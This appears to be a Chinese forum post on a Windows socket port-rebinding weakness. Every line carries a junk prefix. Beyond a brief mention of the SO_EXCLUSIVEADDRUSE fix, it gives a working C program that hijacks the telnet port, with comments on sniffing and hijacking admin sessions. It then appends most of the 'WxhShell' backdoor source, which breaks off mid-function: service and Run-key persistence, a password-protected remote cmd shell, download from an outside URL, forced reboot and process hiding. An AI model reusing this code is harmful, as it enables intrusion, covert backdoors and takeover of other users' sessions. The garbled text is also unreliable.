在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
[JiH\+XLPs s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
]Ze1s02( )7F/O3Tq saddr.sin_family = AF_INET;
4RO}<$Nx} 4s-!7 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
th_oJcS vsPu*[% bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
=cI(d , @JMiO^ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
fhiM U8(& V
gWRW7Se 这意味着什么?意味着可以进行如下的攻击:
Ml_^
`vn o-5TC 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
!L(^(;$Kgr Cdn J&N{ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
u9e@a9c K+eM 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
js(pC@<q5 y(#e}z: 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
)A6<c%d =x q V=!ORuj 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
)9g2D`a4 |Cv!,]9:r 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
(.:e,l{U% y[;>#j$ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
l?e.9o2- WWY6ha #include
yWK)vju" #include
A.SvA Yn #include
?,z}%p #include
$Sq:q0 DWORD WINAPI ClientThread(LPVOID lpParam);
)lkjqFQ( int main()
`Di{}/2 {
Oketwa WORD wVersionRequested;
J.a]K[ci DWORD ret;
x2xRBkRg= WSADATA wsaData;
V3Bz
Mw\9r BOOL val;
[agMfn SOCKADDR_IN saddr;
,tFg4k[ SOCKADDR_IN scaddr;
YK_7ip.a[ int err;
Rcuz(yS8 SOCKET s;
1MFbQs^ SOCKET sc;
x}4q {P5$ int caddsize;
9 hl_|r~%* HANDLE mt;
6ujWNf DWORD tid;
I9^x,F"E] wVersionRequested = MAKEWORD( 2, 2 );
&oNAv-m^GD err = WSAStartup( wVersionRequested, &wsaData );
Z,gk|M3. if ( err != 0 ) {
F9^S"qv$ printf("error!WSAStartup failed!\n");
203s^K61 return -1;
mh%VrAq }
z{q`G wW saddr.sin_family = AF_INET;
U{mYTN*:j$ $nb[GV //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
UMi~14& ; W?&%x(6M saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
tQVVhXQ7 saddr.sin_port = htons(23);
Pz7XAcPQ( if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
X$
D6Ey {
HS$r8`S?) printf("error!socket failed!\n");
3]hWfj1m2 return -1;
:FF=a3/"6 }
?6!LL5a. val = TRUE;
P}iE+Z3 //SO_REUSEADDR选项就是可以实现端口重绑定的
8ag!K*\V< if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
[E_9V%^ {
lE;!TQj:X printf("error!setsockopt failed!\n");
bA 2pbjg= return -1;
@ Qe0! (_= }
Z+SRXKQ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
\U0Q<ot/7 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
S:}7q2: //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
+T ?NH9 'u658Tj if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Om&Dw|xG8 {
/Oono6j ret=GetLastError();
Ri'n printf("error!bind failed!\n");
]~-r}`] return -1;
@EAbF>> }
P>T"cv listen(s,2);
NK+o1 while(1)
KvSG; {
4i bc caddsize = sizeof(scaddr);
buC{r, //接受连接请求
$b\P|#A sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
x-c"%Z| if(sc!=INVALID_SOCKET)
bt *k.=p {
d9ihhqq3} mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Bvj0^fSm if(mt==NULL)
#ob/p#k {
}]TxlSp!; printf("Thread Creat Failed!\n");
Dq xs+ break;
s2?&! }
L];b<*d }
Ac6=(B CloseHandle(mt);
|ZBw<f }
ysN3 closesocket(s);
y(Td/rY. WSACleanup();
9uY'E'm* return 0;
<3iMRe }
0(Ij%Wi, DWORD WINAPI ClientThread(LPVOID lpParam)
$'TM0Yu, {
49P4b<1 SOCKET ss = (SOCKET)lpParam;
c> af SOCKET sc;
GILfbNcd unsigned char buf[4096];
}G=M2V<L SOCKADDR_IN saddr;
X]=t> long num;
$e\M_hp*J DWORD val;
`/g
UV DWORD ret;
m|# y
>4 //如果是隐藏端口应用的话,可以在此处加一些判断
Cw%{G'O //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
c,22*.V/ saddr.sin_family = AF_INET;
zi:BF60]= saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ax2B ]L2 saddr.sin_port = htons(23);
]Dzlp7Y} if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
=sFTxd_"iQ {
mmsPLv6 printf("error!socket failed!\n");
wBzC5T%, return -1;
]9L
oZ) }
d _
e WcI val = 100;
Q\)F;: | if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
_ |p8M!
{
j|n R"! ret = GetLastError();
H]!"Zq k return -1;
598i^z{~0% }
51u0]Qx;fm if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Bt#N4m[X*| {
^{{ qV ret = GetLastError();
\9d$@V return -1;
yVc(`,tZ( }
|o@%dH if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
*VeRVaBl {
]k(]qZ printf("error!socket connect failed!\n");
bcR_E5x$ closesocket(sc);
% nIf)/2g closesocket(ss);
H"KCK6 return -1;
;=@0'xPEa- }
&zs$x?/ while(1)
'|4!5)/K {
2tLJU Z1 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
eQ"E //如果是嗅探内容的话,可以再此处进行内容分析和记录
hcc/=_hA //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
_U0f=m num = recv(ss,buf,4096,0);
1}37Q&2 if(num>0)
M;NX:mX9 send(sc,buf,num,0);
cAy3^{3: else if(num==0)
_6Ha break;
9kojLqCT num = recv(sc,buf,4096,0);
7KPwQ?SjT if(num>0)
3F0 N^)@ send(ss,buf,num,0);
&{RDM~ else if(num==0)
G
j1_!.T break;
;]fs'LH }
C7vxw-o|&p closesocket(ss);
!c-*O<Y closesocket(sc);
fV:83|eQ return 0 ;
.o8t+X'G }
X|[`P<'N<
Y~Ifj,\ IAEAhqp ==========================================================
^&)|sP b2]Kx&! 下边附上一个代码,,WXhSHELL
bfO=;S]b! `kr?j:g ==========================================================
]{ kPrey BD-AI #include "stdafx.h"
Q^I\cAIB nd(S3rct& #include <stdio.h>
.KC++\{HE #include <string.h>
@H<q"-J #include <windows.h>
U3kyraj #include <winsock2.h>
{|\.i #include <winsvc.h>
8] ikygt" #include <urlmon.h>
J=L5=G7( '!$%> ||S #pragma comment (lib, "Ws2_32.lib")
H:G1BZjq #pragma comment (lib, "urlmon.lib")
;wVwX6:ZKr T Ge_G_'o #define MAX_USER 100 // 最大客户端连接数
SzRmF1< #define BUF_SOCK 200 // sock buffer
f X)#=c|5 #define KEY_BUFF 255 // 输入 buffer
SB7c.H, >Se,;cB'/] #define REBOOT 0 // 重启
vI]N^j2% #define SHUTDOWN 1 // 关机
_~pbqa,
2JFpZU"1 #define DEF_PORT 5000 // 监听端口
2-b6gc7 =mGez )T5\ #define REG_LEN 16 // 注册表键长度
MW{8VH6+ #define SVC_LEN 80 // NT服务名长度
T>GM%^h,7- XUw/2"D'? // 从dll定义API
FC*[* typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
wAd9 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
BZxvJQ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
fT{Yg /j typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
m4g$N) 9/;P->wy // wxhshell配置信息
z] Ue|%K struct WSCFG {
E E'!|N3 int ws_port; // 监听端口
E"@wek.- char ws_passstr[REG_LEN]; // 口令
= f i$}>\ int ws_autoins; // 安装标记, 1=yes 0=no
cAc@n6[`3 char ws_regname[REG_LEN]; // 注册表键名
N&pCx& char ws_svcname[REG_LEN]; // 服务名
NCx%L-GPi char ws_svcdisp[SVC_LEN]; // 服务显示名
frQ{iUx char ws_svcdesc[SVC_LEN]; // 服务描述信息
H.2QKws^F char ws_passmsg[SVC_LEN]; // 密码输入提示信息
J$!iq| int ws_downexe; // 下载执行标记, 1=yes 0=no
*#Wdc O`- char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
@A5?3(e char ws_filenam[SVC_LEN]; // 下载后保存的文件名
T^v}mWCZ l+R+&b^ };
y Wya&|D9 Q&V;(L62! // default Wxhshell configuration
E!#WnSpnK struct WSCFG wscfg={DEF_PORT,
-gWZwW/lD "xuhuanlingzhe",
PT9*)9<L 1,
Faf&U%]*` "Wxhshell",
rbCAnwA2 "Wxhshell",
7yba04D) "WxhShell Service",
;\l,5EG "Wrsky Windows CmdShell Service",
{_Gs*<. "Please Input Your Password: ",
ZW}_Qs 1,
hL5|69E "
http://www.wrsky.com/wxhshell.exe",
nLiY%x`S "Wxhshell.exe"
`g})|Gx };
@vB!u[{ 3 9|MX21k // 消息定义模块
4H-'Dr=G char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Tqk\XILG N char *msg_ws_prompt="\n\r? for help\n\r#>";
iyp=lLk char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
&w~d_</ char *msg_ws_ext="\n\rExit.";
FE{FGMq char *msg_ws_end="\n\rQuit.";
LDg?'y;2 char *msg_ws_boot="\n\rReboot...";
/SrAW`;" char *msg_ws_poff="\n\rShutdown...";
J'2X&2 char *msg_ws_down="\n\rSave to ";
6DWgl$[[ w-{c.x char *msg_ws_err="\n\rErr!";
p"Z-6m~ char *msg_ws_ok="\n\rOK!";
ujucZ9}yd @<Yy{~L| char ExeFile[MAX_PATH];
,{q;;b9 int nUser = 0;
.}`Ix'. HANDLE handles[MAX_USER];
6(e>P) int OsIsNt;
:\}(&
> _7)n(1h[3b SERVICE_STATUS serviceStatus;
->{KVPHe{ SERVICE_STATUS_HANDLE hServiceStatusHandle;
+H2-ZXr 6u}</>} // 函数声明
r)6M!_]AW int Install(void);
Z`BK/:vo3H int Uninstall(void);
-
CWywuD int DownloadFile(char *sURL, SOCKET wsh);
Ib0ZjX6 int Boot(int flag);
nJLFfXWx void HideProc(void);
8Bg;Kh6B int GetOsVer(void);
TBrPf-Xr int Wxhshell(SOCKET wsl);
Fr$5RAyg void TalkWithClient(void *cs);
(@}!0[[^ int CmdShell(SOCKET sock);
V#}kwON int StartFromService(void);
6Kb1~jY int StartWxhshell(LPSTR lpCmdLine);
0<B$#8 tdaL/rRe VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
v]c6R-U VOID WINAPI NTServiceHandler( DWORD fdwControl );
/^|Dbx!u R^e.s
- // 数据结构和表定义
LYg-
.~<I SERVICE_TABLE_ENTRY DispatchTable[] =
HX{`VahE {
t!\tF[9e {wscfg.ws_svcname, NTServiceMain},
XF_pN[} {NULL, NULL}
C{XmVc. };
f>Jr|#k K!]/(V(} // 自我安装
O<;3M'y\ int Install(void)
tlt*fH$. {
o\)F}j&b#= char svExeFile[MAX_PATH];
9
5RBO4w%w HKEY key;
B !=F2 strcpy(svExeFile,ExeFile);
uc"P3,M XEZF{lP // 如果是win9x系统,修改注册表设为自启动
E\2%E@0# if(!OsIsNt) {
PIpi1v*qz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
wuJ4kW$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
;{o|9x| RegCloseKey(key);
q8Z<{#oXu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
FtC^5{V+V RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
r{%qf; RegCloseKey(key);
>u8gD6X return 0;
{T
Ug.%u }
t3Y:}%M }
KFkoS0M5| }
XNu^`Ha else {
:TC@tM~Oy D+7Rz_= // 如果是NT以上系统,安装为系统服务
q=qcm`ce SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
qc~iQSI if (schSCManager!=0)
U2~kJ {
!o[7wKrXb SC_HANDLE schService = CreateService
nmi|\mof (
N<KS(@v
y schSCManager,
O|N{v"o wscfg.ws_svcname,
*~j@*{u wscfg.ws_svcdisp,
q,U+qt SERVICE_ALL_ACCESS,
f!
.<$ih SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
_aMPa+D=P SERVICE_AUTO_START,
Yr=Y@~ XL SERVICE_ERROR_NORMAL,
h@]XBv svExeFile,
Y,e B| NULL,
Sw^u3 NULL,
~PahoRS NULL,
Ziu]'# NULL,
yw3$2EW NULL
Y<ql49-X );
9
ea\vZ if (schService!=0)
,V:SN~P66+ {
^J8lBLqe CloseServiceHandle(schService);
~Ti'FhN CloseServiceHandle(schSCManager);
>q1L2',pK strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
-701j'q{ strcat(svExeFile,wscfg.ws_svcname);
GU8sO@S5# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
0f>5(ek RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
}HePZ{PLM RegCloseKey(key);
Y6L~K? return 0;
W$2C47i }
3+fp2 }
tWa)_y CloseServiceHandle(schSCManager);
ce3YCflt }
WoRZW% }
N;j)k; jc f #6 return 1;
QM#4uI55B }
c[1oww aC.~&MxFC // 自我卸载
6}Y#= } int Uninstall(void)
O,h ;hQZ {
:|8M`18lZ HKEY key;
{"QNJq#: Um-[~- if(!OsIsNt) {
7 uKY24 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`o8/(`a RegDeleteValue(key,wscfg.ws_regname);
'>ssqBnI RegCloseKey(key);
M|`U"vO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
`LE6jp3, RegDeleteValue(key,wscfg.ws_regname);
P8)=Kbd RegCloseKey(key);
j*jo@N| return 0;
}\:NuTf }
G&V/Gj8 }
iBgx }
"z=SO1 else {
zSja/yq 1gy.8i SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
&&:YVd
if (schSCManager!=0)
!~D}/Q;#}\ {
,+{LYF SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Pjjewy1}^ if (schService!=0)
i,4>0o? {
lun\`f 5Q if(DeleteService(schService)!=0) {
M={V|H0 CloseServiceHandle(schService);
>P@H#= CloseServiceHandle(schSCManager);
\EtQ5T*u return 0;
a^zibPG }
474SMx$ CloseServiceHandle(schService);
#(JNn'fzq }
1\>^m CloseServiceHandle(schSCManager);
c~uKsU }
Vq?p|wy }
,+xB$e >X4u]>X return 1;
F!Q@u }
jQ CtAwBQO // 从指定url下载文件
u5: q$P int DownloadFile(char *sURL, SOCKET wsh)
r^paD2&} {
~%=MpQ3 HRESULT hr;
5r8<7g:>C char seps[]= "/";
q~ZNd3O char *token;
78# v char *file;
^xh ; char myURL[MAX_PATH];
LNpup`>` char myFILE[MAX_PATH];
3ojlB |Z % <*g!y ` strcpy(myURL,sURL);
1@R
Db)<V token=strtok(myURL,seps);
d>fkA0G/9! while(token!=NULL)
P} SCF {
N@1+O,o file=token;
g/+C@_&m token=strtok(NULL,seps);
4^~(Mh- Mw }
OFv%B/O D \sWZ GetCurrentDirectory(MAX_PATH,myFILE);
V(6Z3g strcat(myFILE, "\\");
-~30)J=e` strcat(myFILE, file);
NzSoqh{R send(wsh,myFILE,strlen(myFILE),0);
N<|Nwq:NN send(wsh,"...",3,0);
lWc:$qnR-K hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
V7P&%oz{C if(hr==S_OK)
s1NKLt return 0;
FUjl8b-| else
sOJQ,"sB return 1;
!&/{E
[ "*5hiTr8+ }
dA0.v+Foz" vUU9$x // 系统电源模块
o.G!7 int Boot(int flag)
<55g3>X {
$yYO_ZBiy HANDLE hToken;
db6b-Y{ TOKEN_PRIVILEGES tkp;
e<h~o!za K4;'/cS if(OsIsNt) {
An"</;HU OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
VG5+CU LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
PuT@}tw tkp.PrivilegeCount = 1;
zN@}
#Hk tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
7Kal"Ew AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
_m'Fr
7 if(flag==REBOOT) {
r{ef .^&: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
~ZhraSI)G return 0;
Hp|_6hO 2 }
4 G-wd else {
fhp<oe>D if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
qI<mjB{3` return 0;
#=f?0UTA }
H{k^S\K }
*
%M3PTY\ else {
O0No'LVu if(flag==REBOOT) {
^Z#W_R\l if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
V<@ o<R return 0;
k"]dK,, }
_/!y)&4" else {
;z:UN} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
\":m!K;Z return 0;
&8_gRP }
<U >>ZSi }
1ilBz9x*! ;Q[mL(1: return 1;
Upd3-2kr&J }
#K Xa&C w1"nffhO // win9x进程隐藏模块
8C~]yd void HideProc(void)
MP 2~;T}~ {
"7V2lu ~-m " HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
\z7SkZt,GT if ( hKernel != NULL )
rT5Ycm@ {
<-S%kA8 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
a@* S+3 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
4^Q: FreeLibrary(hKernel);
{=QiZWu }
!PJ 6%" 78OIUNm` return;
QC;^xG+W }
WRDjh7~Efn nMvKTH // 获取操作系统版本
GF%314Xu int GetOsVer(void)
I{:(z3 {
.j>hI="b OSVERSIONINFO winfo;
/&{$ pM|? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
)!:Lzi GetVersionEx(&winfo);
m"jV}@agX if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
)
^3avRsC return 1;
p4i]7o@ else
16i"Yg!* return 0;
J8)#PY[i4 }
H;fxxu`cS z0*_^MH // 客户端句柄模块
}HYjA4o\A int Wxhshell(SOCKET wsl)
jR#~I@q^ {
_({A\}Q| SOCKET wsh;
=xJKIu struct sockaddr_in client;
G0;XaL: DWORD myID;
_}VloiY )V:]g\t while(nUser<MAX_USER)
pd8Nke {
'ao"9-c int nSize=sizeof(client);
s)2fG\1 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
{aC!~qR if(wsh==INVALID_SOCKET) return 1;
&F5@6nJ` Bk\Gj`"7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
z,:a8LB#[ if(handles[nUser]==0)
ADk8{L{UU closesocket(wsh);
H0R&2#YD else
aKJQm'9Ks nUser++;
DHT&,= }
TdGnf WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
BQ2wnGc 9Q-*@6G return 0;
(N=5.7"T }
{ e5/+W B8%{}[q // 关闭 socket
GMZv RAui void CloseIt(SOCKET wsh)
j"@93D~ {
*[R
eb% closesocket(wsh);
0Ir<y nUser--;
Gkxj?)` ExitThread(0);
;6{@^ }
N**g]T
0` ee#):
-p // 客户端请求句柄
4T<Lgb void TalkWithClient(void *cs)
)){9&5,0: {
IMl!,(6; ^~HQC* SOCKET wsh=(SOCKET)cs;
?EK?b
s char pwd[SVC_LEN];
~ Yngkt char cmd[KEY_BUFF];
13&0rLS char chr[1];
.eO?Z^ int i,j;
h"[+)q%L dN}#2Bo= while (nUser < MAX_USER) {
t/PlcV_M" $4T2z- if(wscfg.ws_passstr) {
p/
>`[I if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
$<|lE/_] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
?cEskafb> //ZeroMemory(pwd,KEY_BUFF);
3#45m+D i=0;
e=QK}gzX while(i<SVC_LEN) {
%9#gB :BGA. // 设置超时
D\YE^8/ fd_set FdRead;
!GQ\"Ufs> struct timeval TimeOut;
2JS`Wqy FD_ZERO(&FdRead);
Z0>DNmH* FD_SET(wsh,&FdRead);
\Ro^*4B TimeOut.tv_sec=8;
BiZ=${y
TimeOut.tv_usec=0;
([VV%ovZ
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
lM[XS4/TRa if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
b4""|P?L n7YEG-J if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
VCcr3Dx()F pwd
=chr[0]; *I0-O*Xr
if(chr[0]==0xd || chr[0]==0xa) { rUjdq/I:Z
pwd=0; `[YngYw
break; }O4se"xK
} Ep4Hqx $
i++; FHPXu59u
} !HJ$UG/\
AisN@
// 如果是非法用户,关闭 socket [J0v&{)?
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N8`4veVBx'
} DF{Qw@P!
P0-Fc@&Y
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x/:4{
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :ECi+DxBK
M8b4NF_&
while(1) { (?b@b[D~4
sfVf@0g
ZeroMemory(cmd,KEY_BUFF); $.489x+'Z
xT)psM'CL
// 自动支持客户端 telnet标准 .\qj;20W
j=0; 90Hjx>[
while(j<KEY_BUFF) { 2w$twW-
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oiX"Lz{
cmd[j]=chr[0]; HOp-P8z
if(chr[0]==0xa || chr[0]==0xd) { STA4 p6
cmd[j]=0; ='E$-_
break; oQj=;[
} -gz0md|Y
j++; KZBrE$@%5
} do
^RF<G
:` $@}GI
// 下载文件 m2Uc>S
if(strstr(cmd,"http://")) { 3?s ?XAh
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Bfv.$u00p
if(DownloadFile(cmd,wsh)) +/+P\O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); D=)f
)-u'
else T/P7F\R
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d'9:$!oz
} VIR. yh
else { 5ZAb]F90
xDO7A5
switch(cmd[0]) { D["MUB4l
jRpdft
// 帮助 2~;&g?T6
case '?': { 0%;146.p
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )OsLrq/
break; s/1 #DM"
} KIVH!2q;
// 安装 8S;CFyT\n
case 'i': { ]^\8U2q}
if(Install()) V8z`qEPM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7e&\{*
else m$$?icA
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /LQ:Sv7
break; $YG1z
} zG
c[Z3N
// 卸载 >LF&EM]
case 'r': { !
qJI'+_
if(Uninstall()) e^$j5jV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H%z@h~s>
else .#5l$['
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &}`K^5K|O:
break; $'[q4 wo<
} \`xkp[C
// 显示 wxhshell 所在路径 *,\` o~
case 'p': { P l{QOR
char svExeFile[MAX_PATH]; }+Vv0jX|V
strcpy(svExeFile,"\n\r"); IdM*5Y>f
strcat(svExeFile,ExeFile); YJ2ro-X
send(wsh,svExeFile,strlen(svExeFile),0); []&(D_e"
break; ,dd WBwMK
} aN^IP
// 重启 hGP1(pH.
case 'b': { Vul+]h[!h
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q3'o|pp
if(Boot(REBOOT)) )8{6+{5lu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); j:1uP^.
else { =`I?mn&
closesocket(wsh); 3,.%
s
ExitThread(0); -0,4egj3
} +EAS Aq
break; mPVE?jnR^0
} ".2A9]_s
// 关机 4^!4eyQ^
case 'd': { w&lZ42(mF
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5su.+4z\
if(Boot(SHUTDOWN)) ;>2#@QP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vg8O]
YF
else { BEw{X|7
closesocket(wsh); 5 z]\$=TE
ExitThread(0); }BN\/;<A
} F$hZRZ
break; Ud3""C5B
} N5q725zJ
// 获取shell ZcZ;$*
case 's': { *PM}"s
CmdShell(wsh); IF?xnu
closesocket(wsh); -WT3)On
ExitThread(0); e!o(g&wBj
break; TvrwVL)
} Gidkt;lj
// 退出 f:%SW
case 'x': { mpef]9
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T#iU+)-\%
CloseIt(wsh); 2X@G"
break; H,>#|F
} U4wpjHg
// 离开 i;lE5
case 'q': { &jJckT
send(wsh,msg_ws_end,strlen(msg_ws_end),0); =FBIrw{w
closesocket(wsh); 6f}e+ 80
WSACleanup(); )DZTB
exit(1); 1-$P0
break; Tj,2r]g`<
} v'nHFC+p
} b]`^KTYK
} Jqg3.2q
aW@oE
~`
// 提示信息 PqhlXqX9
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A ^B@VuK
} s -Y +x
} A!;meVUs
MCAXt1sL&E
return; Wg1tip8s
} UpeQOC
q$^<zY
// shell模块句柄 M1uP\Sa
int CmdShell(SOCKET sock) /w~C~6z
@!
{ >i8~dEbB
STARTUPINFO si; @Qo,p
ZeroMemory(&si,sizeof(si)); z]>9nv`b
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {mYx
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #'NY}6cb$
PROCESS_INFORMATION ProcessInfo; KF$ %q((
char cmdline[]="cmd"; Cj$H[K}>
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d[U1.SNL
return 0; 5<r)+?!n
} apaIJ+^[
\UtS>4w\
// 自身启动模式 )[DpK=[N^p
int StartFromService(void) ;xW{Ehq-h
{ eG^z*`**
typedef struct #KJZR{
{ ' PL_~
DWORD ExitStatus; s?<!&Y
DWORD PebBaseAddress; +UaO<L
DWORD AffinityMask; kv%)K'fU4
DWORD BasePriority; d
H_2o
ULONG UniqueProcessId; oUS,+e
ULONG InheritedFromUniqueProcessId; 8OBF^r44R
} PROCESS_BASIC_INFORMATION; g*r/u;
